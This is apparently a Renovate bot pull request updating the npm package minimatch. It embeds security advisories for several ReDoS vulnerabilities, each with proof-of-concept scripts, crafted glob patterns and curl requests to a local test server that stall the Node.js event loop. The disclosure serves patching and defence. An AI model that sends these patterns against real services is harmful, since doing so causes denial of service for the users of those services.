Skip to content

Update dependency minimatch to ~0.4.0 [SECURITY]#4

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-minimatch-vulnerability
Open

Update dependency minimatch to ~0.4.0 [SECURITY]#4
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-minimatch-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Jan 9, 2025

This PR contains the following updates:

Package Change Age Confidence
minimatch ~0.2.8~0.4.0 age confidence

GitHub Vulnerability Alerts

CVE-2016-10540

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = [! + genstr(1000000, \\) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

CVE-2022-3517

A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.

CVE-2026-26996

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

  • File search/filter UIs that accept glob patterns
  • .gitignore-style filtering with user-defined rules
  • Build tools that accept glob configuration
  • Any API that exposes glob matching to untrusted input

Thanks to @​ljharb for back-porting the fix to legacy versions of minimatch.

CVE-2026-27904

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

CVE-2026-27903

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.


Release Notes

isaacs/minimatch (minimatch)

v0.4.0

Compare Source

v0.3.0

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 25f2102 to 73f6644 Compare January 11, 2025 11:49
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Jan 11, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 73f6644 to af92458 Compare January 15, 2025 19:39
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Jan 15, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from af92458 to 7cee331 Compare January 17, 2025 11:45
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Jan 17, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 7cee331 to 9ce7662 Compare January 25, 2025 11:49
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Jan 25, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 9ce7662 to f56c2b6 Compare January 26, 2025 06:13
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Jan 26, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from f56c2b6 to 4fc646c Compare January 31, 2025 19:07
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Jan 31, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 4fc646c to 9c99dbb Compare February 1, 2025 19:46
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Feb 1, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 9c99dbb to be5062a Compare February 9, 2025 11:30
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Feb 9, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from be5062a to 4dd9357 Compare February 12, 2025 07:54
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Feb 12, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 4dd9357 to e1abe6a Compare March 5, 2025 03:43
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Mar 5, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from e1abe6a to 6e7c29e Compare March 8, 2025 03:32
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Mar 8, 2025
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Mar 13, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch 2 times, most recently from cf97bf3 to 46a222f Compare March 15, 2025 11:18
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Mar 15, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 46a222f to 44cea12 Compare March 19, 2025 23:58
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Mar 19, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 44cea12 to 273a21a Compare March 21, 2025 23:49
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Mar 21, 2025
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] May 10, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 59ad075 to 15eae25 Compare May 17, 2025 04:01
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] May 17, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 15eae25 to 27b8161 Compare May 18, 2025 19:27
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] May 18, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 27b8161 to 665278c Compare May 24, 2025 11:32
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] May 24, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 665278c to 37ccda5 Compare May 25, 2025 11:37
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] May 25, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 37ccda5 to f08a058 Compare May 31, 2025 12:11
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] May 31, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from f08a058 to bc386ed Compare June 1, 2025 19:14
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Jun 1, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from bc386ed to 50fae83 Compare June 6, 2025 18:22
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Jun 6, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 50fae83 to 6281877 Compare June 8, 2025 10:34
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Jun 8, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 6281877 to 99ea7c8 Compare June 21, 2025 12:02
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Jun 21, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 99ea7c8 to 5b61151 Compare July 13, 2025 23:55
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Jul 13, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 5b61151 to 77ec357 Compare August 11, 2025 03:26
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Aug 11, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 77ec357 to ff44e77 Compare August 16, 2025 11:48
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Aug 16, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from ff44e77 to 533b94e Compare August 21, 2025 04:15
@renovate renovate bot changed the title Update dependency minimatch to v3 [SECURITY] Update dependency minimatch to ~0.4.0 [SECURITY] Aug 21, 2025
@renovate renovate bot force-pushed the renovate/npm-minimatch-vulnerability branch from 533b94e to a94c8d2 Compare August 24, 2025 04:12
@renovate renovate bot changed the title Update dependency minimatch to ~0.4.0 [SECURITY] Update dependency minimatch to v3 [SECURITY] Aug 24, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants